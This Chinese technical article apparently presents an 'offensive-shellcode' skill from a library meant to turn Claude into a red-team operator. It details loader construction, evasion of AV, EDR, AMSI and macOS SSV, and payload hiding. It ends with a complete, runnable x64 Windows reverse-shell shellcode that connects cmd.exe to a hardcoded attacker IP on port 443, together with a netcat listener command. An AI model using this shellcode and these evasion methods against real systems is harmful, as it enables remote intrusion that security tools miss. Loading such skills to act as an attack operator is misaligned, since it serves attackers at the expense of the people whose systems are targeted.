- AI 技能
- 网络安全
- 渗透测试
- 红蓝对抗
- 应用安全
【免费下载链接】Claude-Red
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
本篇技术指南以 claude-red 仓库中 offensive-shellcode 技能 为骨架,系统讲解从零编写 x86/x64 Shellcode 的完整链路:位置无关代码(PIC)、Allocate-Write-Execute 执行模式、Windows PEB 遍历解析 API、Loader 构建与执行阶段对抗、PE 转 Shellcode 工具链、存储隐藏以及跨平台(ARM64 / eBPF / macOS)考量,并附一份可直接编译运行的完整 x64 Windows 反向 Shell 示例。读完你将掌握一套可落地的 Shellcode 开发与免杀方法论,能够在授权红队演练中独立设计、打包与投递自定义载荷。
技能概览:offensive-shellcode 在 claude-red 中的定位
claude-red 是一套面向 Claude Skills 系统的攻防技能库,每个技能都是一个结构化SKILL.md文件,用于在会话中按需唤起某一攻击面的专家级方法论。仓库 README.md 将其定位为"offensive security skills for Claude——把 Claude 变成一个具备上下文感知能力的红队操作员";其中Infrastructure & Red Team类别共 7 个技能,offensive-shellcode 聚焦"Shellcode——编写、编码、注入技术与位置无关代码",与 offensive-edr-evasion(EDR 绕过)、offensive-windows-mitigations(Windows 缓解机制)等形成协同覆盖。
该技能在技能清单 claude-skills.json 中登记于infrastructure分类,其触发描述覆盖:编写自定义 x86/x64 Shellcode、实现位置无关代码(PIC)、构建 Shellcode Loader、规避 AV/EDR 检测、将 PE 文件转换为 Shellcode,以及空字节规避、API 哈希、编码器/解码器模式、分阶段(staged)与无阶段(stageless)载荷、Windows PEB 遍历与跨平台 Shellcode 技术。
部署方式(详见 README.md 与 install.sh):
# 整库安装到 Claude skills 目录 git clone https://github.com/SnailSploit/claude-red ~/.claude/skills/claude-red # 只安装单个分类 ./install.sh --category infrastructure # 或直接以 system-file 方式注入 cat Skills/infrastructure/offensive-shellcode/SKILL.md | claude --system-file -Claude 会根据对话中的触发词自动加载匹配技能,未使用的技能不占上下文。
Shellcode 开发工作流:六步闭环
技能文档给出的开发流程是一个"设计 → 编码 → 提取 → 优化 → 编码/加密 → 打包投递"的完整闭环:
- 定义概念与目标平台:明确架构(x86/x64)与操作系统(Windows / Linux / macOS),这决定后续所有的汇编写法、TEB/PEB 偏移与系统调用方式;
- 使用位置无关技术编写汇编:Shellcode 没有重定位表,必须保证任何地址都可运行,这是 PIC 技术的核心约束;
- 提取二进制并在受控环境测试:用汇编器/编译器生成裸字节,在隔离虚拟机中验证行为(WinDbg、x64dbg、沙箱);
- 空字节规避与优化:载荷中不能出现
\x00等截断字节(常见于strcpy/memcpy投递场景),需要重排指令、用xor/add/shl构造立即数; - 编码/加密规避静态检测:对提取的字节做 XOR、AES、RC4 或 LZMA 压缩,破坏静态特征;
- 与 Loader 打包并选择投递方式:将最终载荷装入 Loader(分配、解密、注入、执行),再选定投递通道(钓鱼附件、浏览器漏洞、供应链等)。
从源码结构看,该工作流与 offensive-initial-access(投递)、offensive-edr-evasion(执行阶段对抗)等技能形成前后衔接——Shellcode 开发只是链条中的一环。
基础概念
执行模式:Allocate-Write-Execute(分配-写入-执行)
核心铁律是避免直接的PAGE_EXECUTE_READWRITE(RWX)内存。原因有二:其一,RWX 页是内存扫描器与 EDR 的"最高信号"——可写又可执行的内存基本等同于"这里有恶意代码";其二,现代缓解机制(ACG/CFG)也会重点监视此类分配。正确姿势是三步走:
- 以
PAGE_READWRITE分配内存; - 将 Shellcode 写入该区域;
- 调用
VirtualProtect将页面切换为PAGE_EXECUTE_READ(只读可执行,写完就不可再改)。
技能文档给出的最小示例:
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE); memcpy(dest, shellcode, 0x1234); VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old); ((void(*)())dest)();其中0x1234仅为示例大小,实际以载荷长度为准;MEM_COMMIT|MEM_RESERVE(即0x3000,后文 Python 示例中VirtualAlloc的flAllocationType参数即为该值)表示同时提交并保留内存。这一"先写后改权限"的模式在本文 完整的反向 Shell 示例 中同样以PAGE_EXECUTE_READWRITE(0x40)演示了最简单的本地自执行路径——实战 Loader 应改为两步切换。
位置无关代码(PIC)技术
Shellcode 必须能在任意基址运行,因此需要运行时自定位。文档按平台整理了五种主流方案:
| 方法 | 平台 | 说明 |
|---|---|---|
| Call/Pop | Windows | call next把下一条指令地址压栈,随后pop到寄存器 |
| FPU 状态 | Windows | fstenv保存浮点环境,可从中提取指令指针 |
| SEH | Windows | 利用异常处理器中保存的 EIP 实现自定位 |
| GOT | Linux | 通过 Global Offset Table 解析共享库函数地址 |
| VDSO | Linux | 内核提供的虚拟动态共享对象,可用作自定位与 syscall 跳板 |
Windows 平台最常用的是 Call/Pop 模式(x86 的call $+5; pop ebx)与基于 TEB/PEB 的结构化定位;Linux 平台则依赖 GOT/VDSO,因为 ELF 与 PE 的加载机制差异决定了自定位路径不同。
Windows API 解析:PEB 遍历(PEB Walk)
Shellcode 不能依赖导入表(IAT)——因为它不是被加载器加载的合法模块。为此需要"无导入解析 API":从进程环境块(PEB,Process Environment Block)出发,手工遍历已加载模块链表,再解析导出地址表(EAT)找到所需函数。文档给出了标准六步流程:
- 获取 PEB:x64 用
gs:[0x60],x86 用fs:[0x30](这是 Windows 内核暴露给用户态的结构化异常链与 TEB 路径); - 遍历
PEB->Ldr.InMemoryOrderModuleList:链表顺序为 exe → ntdll → kernel32,按固定偏移前进即可命中目标模块; - 哈希比对模块名定位 kernel32:逐模块计算名称哈希,与预计算的 kernel32 哈希比对;
- 解析导出地址表(EAT):从 PE 头跳到导出目录,读取
AddressOfNames/AddressOfNameOrdinals/AddressOfFunctions三张表; - 按名称哈希找
GetProcAddress,再解析LoadLibraryA:GetProcAddress是后续一切 API 解析的"万能钥匙"; - 用
LoadLibraryA加载WS2_32.dll并解析 Winsock 函数:网络功能(socket、connect)都在 WS2_32 中,必须显式加载。
文档同时给出了 WinDbg 调试 PEB 遍历的辅助命令,用于在断点处验证每一步的寄存器与结构体内容:
dt nt!_TEB -y ProcessEnvironmentBlock @$teb dt nt!_PEB -y Ldr <peb_addr> dt -r _PEB_LDR_DATA <ldr_addr> dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10) lm m kernel32 # verify base address r @r8 # check register实战调试时,dt(display type)输出各结构的字段偏移,lm确认 kernel32 的实际加载基址,从而反查你的 PEB 遍历代码算出的基址是否一致。
Shellcode Loader 构建
Loader 是承载、解密并执行 Shellcode 的宿主程序,其质量直接决定载荷能否活过 EDR 的第一轮审查。
Loader 职责与语言选型
文档列出的 Loader 四大职责:
- 环境验证 / 密钥绑定(keying):沙箱/蜜罐检测、机器指纹绑定,避免在分析环境中"裸奔";
- Shellcode 解密:存储态通常是加密的,运行期才解密;
- 安全的内存分配与注入:遵循本文"分配-写入-执行"两阶段权限切换;
- 注入完成后结束使命:Loader 不应残留可疑痕迹。
推荐语言:Zig(体积小、无运行时)、Rust(内存安全)、Nim,以及 Go——但文档特别提醒 Go 生成的二进制带有明显的 Go 运行时签名(runtime.main、独特节区特征),容易被特征检测命中。
分配阶段
与 基础概念 中的铁律一致,Loader 也应避免 RWX 分配,采用两步切换:
VirtualAllocEx/NtAllocateVirtualMemory—— 先以RW分配;ZwCreateSection+NtMapViewOfSection—— 备选方案,通过创建 Section 对象并映射视图来持有内存;- 写入完成后用
VirtualProtectEx切换为RX。
其他内存载体还包括:code caves(在合法模块的未使用间隙中植入)、栈/堆(在 DEP 关闭的旧系统上可用)。
写入阶段
写入 API 分用户态与原生两条线:WriteProcessMemory/NtWriteVirtualMemory,或对映射的 Section 直接memcpy。文档给出三条写入期免杀技巧:
- 前置 dummy 操作码:在真实载荷前拼接垃圾指令,干扰签名匹配与反汇编器;
- 分块随机顺序写入:把载荷切成小块、打乱顺序写入,避免"一次性大块写入"这一行为特征;
- 写入间插入延时:拉长写入时间线,规避基于时间窗口的行为分析。
执行阶段
文档明确指出执行阶段是被审查最严格的一步——EDR 会检查线程起始地址(thread start address)是否落在镜像背书(image-backed)的内存中;一旦线程起始地址指向无文件映射的匿名内存,几乎立刻触发告警。各执行技术的取舍如下:
| 技术 | 说明 |
|---|---|
CreateRemoteThread/ZwCreateThreadEx | 声音大、被重度监控,属于"高可见度"基线手段 |
NtSetContextThread | 劫持已挂起线程,修改其上下文后恢复执行 |
NtQueueApcThreadEx | APC 注入,借目标线程的 APC 队列执行 |
| API trampolines | 覆盖合法函数序言(prologue),借壳执行 |
| ThreadlessInject | 不创建任何新线程,规避线程创建相关监控 |
文档还列出了间接执行资源:FlavorTown(Wra7h 维护的进程注入技术合集)、AlternativeShellcodeExec(替代性 Shellcode 执行方式汇编)、ThreadlessInject(epi052 的无线程注入项目),以及 SysWhispers3 / FreshyCalls 这类直接系统调用辅助工具——后者已成为现代 Loader 的基线要求(详见后文 DripLoader 拆解)。
PE 转 Shellcode:把现成武器变成裸字节
很多实战场景并不需要手写汇编——手上有现成的 EXE/DLL(如 C2 的 beacon、自定义工具),需要把它们转成位置无关的 Shellcode。文档整理了四条工具链:
| 工具 | 用途 |
|---|---|
| Donut | EXE/DLL → Shellcode,最常用的通用转换器 |
| sRDI | DLL → 位置无关 Shellcode(Shellcode Reflective DLL Injection) |
| Pe2shc | PE → Shellcode,hasherezade 的作品 |
| Amber | 反射式 PE 打包器(Reflective PE packer) |
开源 Loader 生态(文档列举):
- ScareCrow:将 Shellcode 伪装为合法签名的加载器;
- NimPackt-v1:Nim 编写的打包/混淆框架;
- NullGate(SpecterOps):间接系统调用 + junk-write(垃圾写入)时序组合;
- DripLoader:分块 RW 写入 + 直接系统调用 + JMP trampoline(详见下文专节);
- ProtectMyTooling:把多种保护(压缩、加密、反分析)链式叠加到同一工具上。
Shellcode 存储与隐藏
存储位置风险对比
Shellcode 在宿主文件中的存放位置直接决定被扫描器发现的概率:
| 位置 | 风险 | 说明 |
|---|---|---|
硬编码在.text | 中 | 每次修改需重新编译;存储区为RW/RO |
PE 资源(RCDATA) | 高 | AV 扫描最密集的区域 |
| 额外 PE 节区 | 中 | 建议使用倒数第二个节区 |
| Certificate Table | 低 | 保持已签名 PE 的签名完整性 |
| 互联网托管 | 不定 | 配合远程度取(如 SharpShooter 类工具) |
Certificate Table 技巧(推荐)
这是文档重点推荐的低风险方案:PE 文件末尾的证书表(Certificate Table)属于"签名数据",AV 通常不会深扫。做法是:
- 用 Shellcode 字节填充证书表区域,同时更新 PE 头中的相关字段;
- 只 backdoor Loader DLL(例如 teams.exe 携带的
ffmpeg.dll); - 效果:主可执行文件的签名保持有效,只有被替换的 DLL 签名被破坏——这大大降低了主程序的被检率。
存储态保护
存储态必须加密,文档建议的组合是:先用LZMA 压缩缩小体积并打乱结构,再以XOR32、RC4 或 AES加密,加载时在内存中解密。
Windows 11 24H2 特别提醒:AMSI 已启用堆扫描(heap scanning),会实时扫描活动堆内存中的明文载荷。对策是以
PAGE_NOACCESS分配,解密就地完成后,再切换为PAGE_EXECUTE_READ——避免载荷以明文形态暴露在可扫描的堆上。
免杀(Evasion):渐进式升级路径
四阶渐进免杀
文档给出了一条清晰的"由简入繁"升级路线,可作为工程迭代的路线图:
- 基础 Shellcode 执行(基线):先让载荷跑起来;
- XOR/AES 加密 + 混淆:对抗静态签名与字符串扫描;
- 直接系统调用(direct syscalls):绕过用户态挂钩(userland hooks)——这是对抗 EDR 的关键一步,因为主流 EDR 都通过 hook
ntdll.dll用户态函数观察参数; - 远程进程注入作为最后手段:本地执行已被盯上时才考虑,因为远程注入的监控点更多。
本地 vs 远程注入
远程注入更易被检测,原因在于它额外引入了一整条被监控的调用链:OpenProcess → Allocate → Write → Execute,每一步都是 EDR 的重点监视对象。此外远程注入还会撞上:
- CFG / CIG强制(Code Integrity Guard 禁止非签名/非镜像代码执行);
- ETW Ti事件馈送(线程创建、模块加载、映像加载等内核事件);
- EDR 调用栈回溯(call-stack back-tracing):EDR 会检查
NtOpenProcess的调用来源,确认是合法 API 还是直接 syscall、是否从可疑内存发起。
DefenderBypass 工具集
文档推荐了一套针对 Windows Defender 的实战工具(hackmosphere 维护的 DefenderBypass 项目),覆盖从加密到注入的完整链条:
myEncoder3.py—— XOR 加密二进制 Shellcode;InjectBasic.cpp—— 基础 C++ 注入器;InjectCryptXOR.cpp—— XOR 解密 + 注入;InjectSyscall-LocalProcess.cpp—— 直接系统调用,IAT 中不出现可疑 API 条目;InjectSyscall-RemoteProcess.cpp—— 经直接系统调用实现远程进程注入。
这套工具与本文的 Loader 三阶段(分配/写入/执行)一一对应,可作为从"编码器"到"注入器"的最小可运行参考实现。
跨平台考量
Shellcode 不止 Windows。文档覆盖了三个前沿平台的特殊性:
Windows on ARM64(WoA)
- 系统调用使用
SVC 0指令,服务表位于ntdll!KiServiceTableArm64(与 x64 的KiServiceTable不同); - Pointer Authentication(PAC)会对 LR(返回地址)签名——栈迁移(stack pivot)会破坏签名导致崩溃;如需修改控制流,必须用
PACIASP指令重新签名。
Linux 6.9+(eBPF Arena)
BPF_MAP_TYPE_ARENA类型的映射可以持有可执行内存;- 将 Shellcode 分块藏在 arena map 中,通过
bpf_prog_run_pin_on_cpu执行——这是内核 6.9 引入 eBPF arena 后出现的新型执行载体,对传统"匿名可执行页"检测是盲区。
macOS(Signed System Volume,SSV)
- macOS 12+ 系统分区被密封签名(sealed),未签名载荷无法驻留系统分区;
- 用户态思路:launch agents、dylib 劫持(
/Library/Apple/System/Library/Dyld/目录下); - 内核持久化思路:创建密封快照 → 以读写挂载 → 注入 → 用
kmutil重新签名 →bless——这是对 SSV 完整绕过的标准流程。
DripLoader 技术拆解:一个现代 Loader 的完整形态
文档用 DripLoader(xuanxuan0 的项目)作为"直接系统调用 + 分块写入 + trampoline"的集大成案例,六步如下:
- 以
NO_ACCESS预留 64KB 内存块; - 在该池内分配 4KB
RW块; - 随机顺序分块写入 Shellcode(配合写入延时,对抗时序行为分析);
- 重新保护为
RX; - 覆写
ntdll!RtlpWow64CtxFromAmd64的函数序言为 JMP trampoline——把控制流"借道"到一个合法导出函数,使线程起始地址看起来落在 ntdll 内(镜像背书内存),这是对"thread start address 指向匿名内存"检测的直接反制; - 全部调用走直接系统调用:
NtAllocateVirtualMemory、NtWriteVirtualMemory、NtCreateThreadEx。
其中第 5 步正是前文"执行阶段"提到的API trampoline思想的工程化:不直接创建线程指向 Shellcode,而是让线程从 ntdll 的合法函数进入,中途跳向载荷,从而在 EDR 的线程起始地址检查中"隐身"。
完整 x64 Windows 反向 Shell Shellcode 实战
技能文档的压轴内容是一份可直接运行的 Python/Keystone 完整示例:实现 PEB 遍历 →GetProcAddress→LoadLibraryA→ Winsock connect →CreateProcessA(cmd.exe)的全链路,编译出的 Shellcode 在内存中执行后,会向攻击者主机弹出一个绑定到 TCP socket 的 cmd 反向 Shell。
import ctypes, struct from keystone import * CODE = ( # Locate kernel32 Base Address " start: " " add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space " find_kernel32: " " int3 ;" # WinDbg breakpoint (disable for release) " xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" # RAX = PEB " mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr " mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" # RBX = kernel32 base " mov r8, rbx ;" # Parse Export Address Table " mov ebx, [rbx+0x3C] ;" # PE signature offset " add rbx, r8 ;" # RBX = PE header " xor r12,r12 ;" " add r12, 0x88FFFFF ;" " shr r12, 0x14 ;" " mov edx, [rbx+r12] ;" # EAT RVA " add rdx, r8 ;" # RDX = EAT VA " mov r10d, [rdx+0x14] ;" # NumberOfFunctions " xor r11, r11 ;" " mov r11d, [rdx+0x20] ;" # AddressOfNames RVA " add r11, r8 ;" # AddressOfNames VA # Find GetProcAddress " mov rcx, r10 ;" " k32findfunction: " " jecxz functionfound ;" " xor ebx,ebx ;" " mov ebx, [r11+4+rcx*4] ;" # Function name RVA " add rbx, r8 ;" # Function name VA " dec rcx ;" " mov rax, 0x41636f7250746547 ;" # 'GetProcA' " cmp [rbx], rax ;" " jnz k32findfunction ;" # Get function address " functionfound: " " xor r11, r11 ;" " mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA " add r11, r8 ;" " inc rcx ;" " mov r13w, [r11+rcx*2] ;" # Ordinal " xor r11, r11 ;" " mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA " add r11, r8 ;" " mov eax, [r11+4+r13*4] ;" " add rax, r8 ;" # GetProcAddress VA " mov r14, rax ;" # R14 = GetProcAddress # Resolve LoadLibraryA " mov rcx, 0x41797261 ;" " push rcx ;" " mov rcx, 0x7262694c64616f4c ;" " push rcx ;" # 'LoadLibraryA' " mov rdx, rsp ;" " mov rcx, r8 ;" # kernel32 base " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(kernel32, LoadLibraryA) " add rsp, 0x40 ;" " mov rsi, rax ;" # RSI = LoadLibraryA # LoadLibrary("WS2_32.dll") " xor rax, rax ;" " mov rax, 0x6C6C ;" " push rax ;" " mov rax, 0x642E32335F325357 ;" " push rax ;" # 'WS2_32.dll' " mov rcx, rsp ;" " sub rsp, 0x30 ;" " call rsi ;" # LoadLibraryA("WS2_32.dll") " mov r15, rax ;" # R15 = WS2_32 base " add rsp, 0x40 ;" # WSAStartup " mov rax, 0x7075 ;" " push rax ;" " mov rax, 0x7472617453415357 ;" " push rax ;" # 'WSAStartup' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" # GetProcAddress(ws2_32, WSAStartup) " add rsp, 0x40 ;" " mov r12, rax ;" " xor rcx,rcx ;" " mov cx,408 ;" " sub rsp,rcx ;" " lea rdx,[rsp] ;" # lpWSAData " mov cx,514 ;" # wVersionRequired = 2.2 " sub rsp,88 ;" " call r12 ;" # WSAStartup # WSASocketA — create socket " mov rax, 0x4174 ;" " push rax ;" " mov rax, 0x656b636f53415357 ;" " push rax ;" # 'WSASocketA' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " sub rsp,0x208 ;" " xor rdx, rdx ;" " sub rsp, 88 ;" " mov [rsp+32], rdx ;" " mov [rsp+40], rdx ;" " inc rdx ;" " mov rcx, rdx ;" " inc rcx ;" " xor r8,r8 ;" " add r8,6 ;" " xor r9,r9 ;" " mov r9w,98*4 ;" " mov ebx,[r15+r9] ;" " xor r9,r9 ;" " call r12 ;" # WSASocketA " mov r13, rax ;" # R13 = socket handle " add rsp, 0x208 ;" # WSAConnect — connect to C2 " mov rax, 0x7463 ;" " push rax ;" " mov rax, 0x656e6e6f43415357 ;" " push rax ;" # 'WSAConnect' " mov rdx, rsp ;" " mov rcx, r15 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" " mov rcx, r13 ;" # socket handle " sub rsp,0x208 ;" " xor rax,rax ;" " inc rax ;" " inc rax ;" " mov [rsp], rax ;" # AF_INET = 2 " mov rax, 0xbb01 ;" # Port 443 (big-endian) " mov [rsp+2], rax ;" " mov rax, 0x31061fac ;" # IP 172.31.6.49 — UPDATE THIS " mov [rsp+4], rax ;" " lea rdx,[rsp] ;" " mov r8, 0x16 ;" # sizeof(sockaddr_in) " xor r9,r9 ;" " push r9 ;" " push r9 ;" " push r9 ;" " sub rsp, 0x88 ;" " call r12 ;" # WSAConnect # Re-locate kernel32 and resolve CreateProcessA " xor rcx, rcx ;" " mov rax, gs:[rcx + 0x60] ;" " mov rax, [rax + 0x18] ;" " mov rsi, [rax + 0x20] ;" " lodsq ;" " xchg rax, rsi ;" " lodsq ;" " mov rbx, [rax + 0x20] ;" " mov r8, rbx ;" " mov rax, 0x41737365636f ;" " push rax ;" " mov rax, 0x7250657461657243 ;" " push rax ;" # 'CreateProcessA' " mov rdx, rsp ;" " mov rcx, r8 ;" " sub rsp, 0x30 ;" " call r14 ;" " add rsp, 0x40 ;" " mov r12, rax ;" # R12 = CreateProcessA # Push cmd.exe + build STARTUPINFOA " mov rax, 0x6578652e646d63 ;" " push rax ;" # 'cmd.exe' " mov rcx, rsp ;" # lpApplicationName " push r13 ;" # hStdError = socket " push r13 ;" # hStdOutput = socket " push r13 ;" # hStdInput = socket " xor rax,rax ;" " push ax ;" " push rax ;" " push rax ;" " mov rax, 0x100 ;" # STARTF_USESTDHANDLES " push ax ;" " xor rax,rax ;" " push ax ;" " push ax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " push rax ;" " mov rax, 0x68 ;" " push rax ;" # cb = 0x68 " mov rdi,rsp ;" # RDI = &STARTUPINFOA # Call CreateProcessA " mov rax, rsp ;" " sub rax, 0x500 ;" " push rax ;" # lpProcessInformation " push rdi ;" # lpStartupInfo " xor rax, rax ;" " push rax ;" # lpCurrentDirectory = NULL " push rax ;" # lpEnvironment = NULL " push rax ;" " inc rax ;" " push rax ;" # bInheritHandles = TRUE " xor rax, rax ;" " push rax ;" " push rax ;" " push rax ;" # dwCreationFlags = 0 " mov r8, rax ;" # lpThreadAttributes = NULL " mov r9, rax ;" # lpProcessAttributes = NULL " mov rdx, rcx ;" # lpCommandLine = 'cmd.exe' " mov rcx, rax ;" # lpApplicationName = NULL " call r12 ;" # CreateProcessA ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) print("Encoded %d instructions..." % count) sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ctypes.windll.kernel32.RtlCopyMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t) ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int), ) ptr = ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40) ) buf = (ctypes.c_char * len(shellcode)).from_buffer_copy(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_int(len(shellcode))) print("Shellcode at %s" % hex(ptr)) input("Press ENTER to execute...") ht = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)), ) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)代码逐段解读
- 定位 kernel32 基址:
mov rax, gs:[rcx + 0x60]取 PEB,[rax + 0x18]取Ldr,[rax + 0x20]取InMemoryOrderModuleList,两次lodsq跳过 exe 与 ntdll,第三个条目的[rax + 0x20]即 kernel32 基址——这正是 PEB 遍历 六步流程的落地实现; - 解析 EAT 找
GetProcAddress:通过[rbx+0x3C]定位 PE 头,进而取得导出目录 RVA,遍历AddressOfNames逐项比对'GetProcA'前缀(注意此处用 8 字节立即数一次比较前 8 个字符),命中后经AddressOfNameOrdinals与AddressOfFunctions换算函数地址; GetProcAddress复用:R14全程保存GetProcAddress,后续LoadLibraryA、WSAStartup、WSASocketA、WSAConnect、CreateProcessA全部通过call r14动态解析——零 IAT、零硬编码地址,这正是 Shellcode 的核心特征;- Winsock 调用:
WSAStartup(版本 2.2,即wVersionRequired = 514)、WSASocketA(AF_INET = 2, SOCK_STREAM = 1, IPPROTO_TCP = 6)、WSAConnect依次完成网络握手; - 反弹 Shell:构建
STARTUPINFOA(cb = 0x68,STARTF_USESTDHANDLES = 0x100,三个标准句柄均指向 socket),随后CreateProcessA(NULL, "cmd.exe", ..., bInheritHandles=TRUE, ...)把 cmd 的标准输入输出绑定到 socket——攻击者侧获得交互式 Shell; - 宿主执行:Python 端用 Keystone 汇编,
VirtualAlloc以0x3000(MEM_COMMIT|MEM_RESERVE)分配、0x40(PAGE_EXECUTE_READWRITE)保护,RtlMoveMemory拷贝字节,CreateThread启动执行——演示了 Allocate-Write-Execute 的最简形态(实战 Loader 应改为两阶段权限切换)。
使用前必须修改的参数
注意:使用前必须更新 IP 与端口。
- IP:
0x31061fac(对应172.31.6.49,小端写入,0x31 0x06 0x1f 0xac即 172.31.6.49)——注释明确标注UPDATE THIS;- 端口:
0xbb01(大端存储,0xbb 0x01即 443);- 监听端:
nc -nvlp 443;- 调试用:汇编代码首行
int3是 WinDbg 断点,发布前应移除。Windows 11 23H2 注意:Smart App Control 可能拦截指向本地子网的出站 TCP 443/4444 流量,建议改用非常规端口或命名管道(named pipe)载荷。
结语:方法论闭环与相关技能
至此,从"手写汇编 → PIC 自定位 → PEB 遍历解析 API → 内存分配写入执行 → 加密存储 → 免杀升级 → 跨平台移植"的完整 Shellcode 开发方法论已经闭环。这套内容与 claude-red 中其他技能形成互补:
- 执行阶段的 EDR 对抗细节可延伸至 offensive-edr-evasion(用户态 unhook、间接系统调用、PPID spoofing);
- 对 CFG/CIG/ACG 等缓解机制的绕过前提可参考 offensive-windows-mitigations;
- 载荷投递与利用链可衔接 offensive-initial-access 与 offensive-advanced-redteam;
- 技能全景可查阅 MINDMAP.md,发布历史见 CHANGELOG.md。
最后必须强调:本文全部内容均为攻击性技术,只能在获得明确书面授权的红队演练、渗透测试、漏洞研究或 CTF 环境中使用,并在隔离虚拟机中测试,对任何未授权目标的利用均属违法行为。
- AI 技能
- 网络安全
- 渗透测试
- 红蓝对抗
- 应用安全
【免费下载链接】Claude-Red
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考